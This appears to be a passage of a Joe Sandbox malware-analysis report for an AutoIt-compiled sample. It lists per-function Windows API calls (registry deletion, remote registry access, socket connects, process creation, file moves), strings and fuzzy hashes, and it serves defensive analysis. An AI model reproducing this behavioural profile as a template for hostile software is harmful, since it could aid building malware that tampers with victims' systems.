Part of subcall function 0025466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00253697,?), ref: 0025468B

Part of subcall function 0025466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00253697,?), ref: 002546A4

lstrcmpiW.KERNEL32(?,?), ref: 002536B7
_wcscmp.LIBCMT ref: 002536D3
MoveFileW.KERNEL32(?,?), ref: 002536EB
_wcscat.LIBCMT ref: 00253733
SHFileOperationW.SHELL32(?), ref: 0025379F

Strings

\*.*, xrefs: 0025372D

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: 2461636daa690734323a450f5b3ddc935046c10dc32671a10d96c068806d23b2
Instruction ID: 7b0d345fe5b7d1ca5a725d4fcda3c42fc5f878e47f1826e7cdc4f88c10344a7f
Opcode Fuzzy Hash: 2461636daa690734323a450f5b3ddc935046c10dc32671a10d96c068806d23b2
Instruction Fuzzy Hash: 4A41AF71518345AAC752EF60D441ADFB7ECAF88384F00182EF889C3251EA34D29DCB5A

Function 00277291 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002772AA
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00277351
IsMenu.USER32(?), ref: 00277369
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 002773B1
DrawMenuBar.USER32 ref: 002773C4

Strings

0, xrefs: 0027729E

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: bc643c61eefaed870cb37d30ccd511351f2d45d1364ad3904982c1aba6bd227f
Instruction ID: 80100445a47f9acca34cff3df7b6cb8e2877e90a94cba8f8c8f6e420ca1d4c8b
Opcode Fuzzy Hash: bc643c61eefaed870cb37d30ccd511351f2d45d1364ad3904982c1aba6bd227f
Instruction Fuzzy Hash: 7F414975A15209EFDB20DF50E884E9ABBF8FB08310F148569FD599B290D730ADA0EF50

Function 00270FA5 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00270FD4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00270FFE
FreeLibrary.KERNEL32(00000000), ref: 002710B5

Part of subcall function 00270FA5: RegCloseKey.ADVAPI32(?), ref: 0027101B
Part of subcall function 00270FA5: FreeLibrary.KERNEL32(?), ref: 0027106D
Part of subcall function 00270FA5: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00271090

RegDeleteKeyW.ADVAPI32(?,?), ref: 00271058

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 05a2a7404560765f546601d8b443eb02bc4c44d01d6f8a1816cbeb0f521273c6
Instruction ID: ee91ed9a9fee8a9ded025713a092368b10253ea02f191ac93148bb7ae885ffab
Opcode Fuzzy Hash: 05a2a7404560765f546601d8b443eb02bc4c44d01d6f8a1816cbeb0f521273c6
Instruction Fuzzy Hash: FC312FB1911109FFDB15DF94EC89EFFB7BCEF08300F004169E909A2251EA745E999AA4

Function 002762CD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 002762EC
GetWindowLongW.USER32(010D4AB0,000000F0), ref: 0027631F
GetWindowLongW.USER32(010D4AB0,000000F0), ref: 00276354
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00276386
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 002763B0
GetWindowLongW.USER32(00000000,000000F0), ref: 002763C1
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 002763DB

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: c1bbc3d51b97751d4e4093beb9601d267eaf04b4cf0c73beef98145e2e457b7c
Instruction ID: 339456447f87571eb379dbd16c421db7134af29add18e534c6381427ab086c32
Opcode Fuzzy Hash: c1bbc3d51b97751d4e4093beb9601d267eaf04b4cf0c73beef98145e2e457b7c
Instruction Fuzzy Hash: 4D3135306146519FDB21DF19EC88F5437E5FB4AB14F1882A4F5588F2B2CB72AC90CB50

Function 0024DAEB Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0024DB2E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0024DB54
SysAllocString.OLEAUT32(00000000), ref: 0024DB57
SysAllocString.OLEAUT32(?), ref: 0024DB75
SysFreeString.OLEAUT32(?), ref: 0024DB7E
StringFromGUID2.OLE32(?,?,00000028), ref: 0024DBA3
SysAllocString.OLEAUT32(?), ref: 0024DBB1

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 72c303a98d804c61a7e23c5a81021359fa90073b32440e73e94d483bb4c25ba0
Instruction ID: 254f9ec40f20c42912797c3ae38cd621634ae1f9b141b33f07f67bec3c265558
Opcode Fuzzy Hash: 72c303a98d804c61a7e23c5a81021359fa90073b32440e73e94d483bb4c25ba0
Instruction Fuzzy Hash: 2921A13661421AAFDF14DFA8DC88CBB73ECFB09364B018525FA18DB261D670DC918B60

Function 00266173 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00267D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00267DB6

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 002661C6
WSAGetLastError.WSOCK32(00000000), ref: 002661D5
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 0026620E
connect.WSOCK32(00000000,?,00000010), ref: 00266217
WSAGetLastError.WSOCK32 ref: 00266221
closesocket.WSOCK32(00000000), ref: 0026624A
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00266263

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: e034c4c50b2597ed9673af0f8bcc34fcb8527f984aa41c19a6a2721db7070c33
Instruction ID: 66d86072488fbbf62c24713121f54fde8f6d6339c38fc42ca577176366557ffc
Opcode Fuzzy Hash: e034c4c50b2597ed9673af0f8bcc34fcb8527f984aa41c19a6a2721db7070c33
Instruction Fuzzy Hash: D031B331614108AFDF10AF64DC89FBE7BADEF45754F044069FD09A7291CB70AD948BA1

Function 0024F65E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0024F671
__wcsnicmp.LIBCMT ref: 0024F692
__wcsnicmp.LIBCMT ref: 0024F6AC

Strings

#OnAutoItStartRegister, xrefs: 0024F6A6
#notrayicon, xrefs: 0024F669
#requireadmin, xrefs: 0024F68C

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: a584b7eb5db7cb56424f350afcc1fce3fa7328715684e6f6b5c9b233b7a6071e
Instruction ID: 77a6c3949f10729dc69042a1f172f4b596127e9c11c8d82d5759b11e343d8f11
Opcode Fuzzy Hash: a584b7eb5db7cb56424f350afcc1fce3fa7328715684e6f6b5c9b233b7a6071e
Instruction Fuzzy Hash: B42179722352126AD328EA34AE02EBBB3DCDFA5300F114039F94186091EB949DB2DB95

Function 0024DBC4 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0024DC09
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0024DC2F
SysAllocString.OLEAUT32(00000000), ref: 0024DC32
SysAllocString.OLEAUT32 ref: 0024DC53
SysFreeString.OLEAUT32 ref: 0024DC5C
StringFromGUID2.OLE32(?,?,00000028), ref: 0024DC76
SysAllocString.OLEAUT32(?), ref: 0024DC84

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 1e2bdb1478d9579a587955d773d2367055151c12ae62bece72e103ecb991a811
Instruction ID: fd12310fd21dfdd1f7c6b014d5a1a7ea99a6655d96e5dc0f90698964cb1b6efd
Opcode Fuzzy Hash: 1e2bdb1478d9579a587955d773d2367055151c12ae62bece72e103ecb991a811
Instruction Fuzzy Hash: B2215635618205AF9B14DFB8DDC9DAB77ECFB09360B108126F918CB261D6B0DC95CB64

Function 002775CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001F1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 001F1D73
Part of subcall function 001F1D35: GetStockObject.GDI32(00000011), ref: 001F1D87
Part of subcall function 001F1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 001F1D91

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00277632
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0027763F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0027764A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00277659
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00277665

Strings

Msctls_Progress32, xrefs: 00277603

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 36093f808eec1927c2245c638b46188a6781cdaedaebaff26ddcdcaf259f0228
Instruction ID: 7c8a081c5a485c0a93a14b5c70238931b9f1a1242ab1e1c782ee9eb8effc0aaa
Opcode Fuzzy Hash: 36093f808eec1927c2245c638b46188a6781cdaedaebaff26ddcdcaf259f0228
Instruction Fuzzy Hash: A511B6B111011EBFEF118F64CC85EE77F6DEF09798F014114B608A6050CB729C21DBA4

Function 00219AE6 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00219AE6

Part of subcall function 00213187: EncodePointer.KERNEL32(00000000), ref: 0021318A
Part of subcall function 00213187: __initp_misc_winsig.LIBCMT ref: 002131A5
Part of subcall function 00213187: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00219EA0
Part of subcall function 00213187: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00219EB4
Part of subcall function 00213187: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00219EC7
Part of subcall function 00213187: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00219EDA
Part of subcall function 00213187: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00219EED
Part of subcall function 00213187: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00219F00
Part of subcall function 00213187: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00219F13
Part of subcall function 00213187: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00219F26
Part of subcall function 00213187: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00219F39
Part of subcall function 00213187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00219F4C
Part of subcall function 00213187: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00219F5F
Part of subcall function 00213187: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00219F72
Part of subcall function 00213187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00219F85
Part of subcall function 00213187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00219F98
Part of subcall function 00213187: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00219FAB
Part of subcall function 00213187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00219FBE

__mtinitlocks.LIBCMT ref: 00219AEB
__mtterm.LIBCMT ref: 00219AF4

Part of subcall function 00219B5C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00219AF9,00217CD0,002AA0B8,00000014), ref: 00219C56
Part of subcall function 00219B5C: _free.LIBCMT ref: 00219C5D
Part of subcall function 00219B5C: DeleteCriticalSection.KERNEL32(02+,?,?,00219AF9,00217CD0,002AA0B8,00000014), ref: 00219C7F

__calloc_crt.LIBCMT ref: 00219B19
__initptd.LIBCMT ref: 00219B3B
GetCurrentThreadId.KERNEL32 ref: 00219B42

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: b8a359259bc7bd4dce92335b31ec91e348745fa5ff2ef9c93d5c7967b92adaa5
Instruction ID: 08fc8ecec431c32bef45903f216e73fe97e415e52309c2d7756f7f01b05521e1
Opcode Fuzzy Hash: b8a359259bc7bd4dce92335b31ec91e348745fa5ff2ef9c93d5c7967b92adaa5
Instruction Fuzzy Hash: 54F0963253D7125AE634BB747C276CB26D49F22734F210629F454C51D2FF1085E14960

Function 0027B635 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0027B644
_memset.LIBCMT ref: 0027B653
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,002B6F20,002B6F64), ref: 0027B682
CloseHandle.KERNEL32 ref: 0027B694

Strings

o+, xrefs: 0027B63E
do+, xrefs: 0027B64D

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID: o+$do+
API String ID: 3277943733-859148485
Opcode ID: 727980e374082282c63372254e571d203920af70689fbc4e8cdf2de7c7e9b1c0
Instruction ID: 7a0acfc4f0cbcb060b9de53d41ebe7ed5ab3934e2aa925fe31a17f027d49240a
Opcode Fuzzy Hash: 727980e374082282c63372254e571d203920af70689fbc4e8cdf2de7c7e9b1c0
Instruction Fuzzy Hash: 06F082B2550300BBE3102B61BC0EFBB3A9CEB08395F004060FA0EE6592D7794C20CBB8

Function 0021406B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00213F85), ref: 00214085
GetProcAddress.KERNEL32(00000000), ref: 0021408C
EncodePointer.KERNEL32(00000000), ref: 00214097
DecodePointer.KERNEL32(00213F85), ref: 002140B2

Strings

RoUninitialize, xrefs: 00214074
combase.dll, xrefs: 00214080

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 9e450f2b48d8bd790eb04234b672c7ad400d589be06f99b697cb9f637af5d4fc
Instruction ID: 539e73bcf953249cfcc432546f8a980e62cca075837389bfbfd7171b82c593c2
Opcode Fuzzy Hash: 9e450f2b48d8bd790eb04234b672c7ad400d589be06f99b697cb9f637af5d4fc
Instruction Fuzzy Hash: 53E0B6745A9311EFEB60EF65FE0DB453AE8BB14742F104165F50DE10A0CBB64694CB14

Function 002564B8 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0025660B
_memmove.LIBCMT ref: 00256546

Part of subcall function 001F9837: __itow.LIBCMT ref: 001F9862
Part of subcall function 001F9837: __swprintf.LIBCMT ref: 001F98AC

_memmove.LIBCMT ref: 002565B9
_memmove.LIBCMT ref: 002566A0
_memmove.LIBCMT ref: 002566B9
_memmove.LIBCMT ref: 002566D5

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 51945d54c3f8c0ccc4411b98a6fdda64bcd9e1a3578c2feb254a5296041c596c
Instruction ID: f00d3bc33e7b60e5c2b4acf6dee32c1e592727d8ddcb5e9802ef49fd19e4dbc2
Opcode Fuzzy Hash: 51945d54c3f8c0ccc4411b98a6fdda64bcd9e1a3578c2feb254a5296041c596c
Instruction Fuzzy Hash: 8D618A3052025E9BCF01EF60CC86EFE3BA9AF19308F444518FD559B192DB79E869CB54

Function 002701E4 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 001F7DE1: _memmove.LIBCMT ref: 001F7E22

Part of subcall function 00270E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0026FDAD,?,?), ref: 00270E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 002702BD
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 002702FD
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00270320
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00270349
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0027038C
RegCloseKey.ADVAPI32(00000000), ref: 00270399

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: ae81c6ead3fdfa3a795990f00cd1b3a589a54c882cfe0a483fbf150d6cc76ca4
Instruction ID: 14e456f398398554237ce4030dc2ebe3d315d8369f1bb547bb012d42ac5f4b0e
Opcode Fuzzy Hash: ae81c6ead3fdfa3a795990f00cd1b3a589a54c882cfe0a483fbf150d6cc76ca4
Instruction Fuzzy Hash: 69515A31118205DFC714EF64C889E6EBBE9FF89314F04891DF9498B2A2DB71E958CB52

Function 00275799 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 002757FB
GetMenuItemCount.USER32(00000000), ref: 00275832
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 0027585A
GetMenuItemID.USER32(?,?), ref: 002758C9
GetSubMenu.USER32(?,?), ref: 002758D7
PostMessageW.USER32(?,00000111,?,00000000), ref: 00275928

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 81986ca9c038916e3dc4566c48a2ae2a1745053f78e0f0129dd3e0c41f587fec
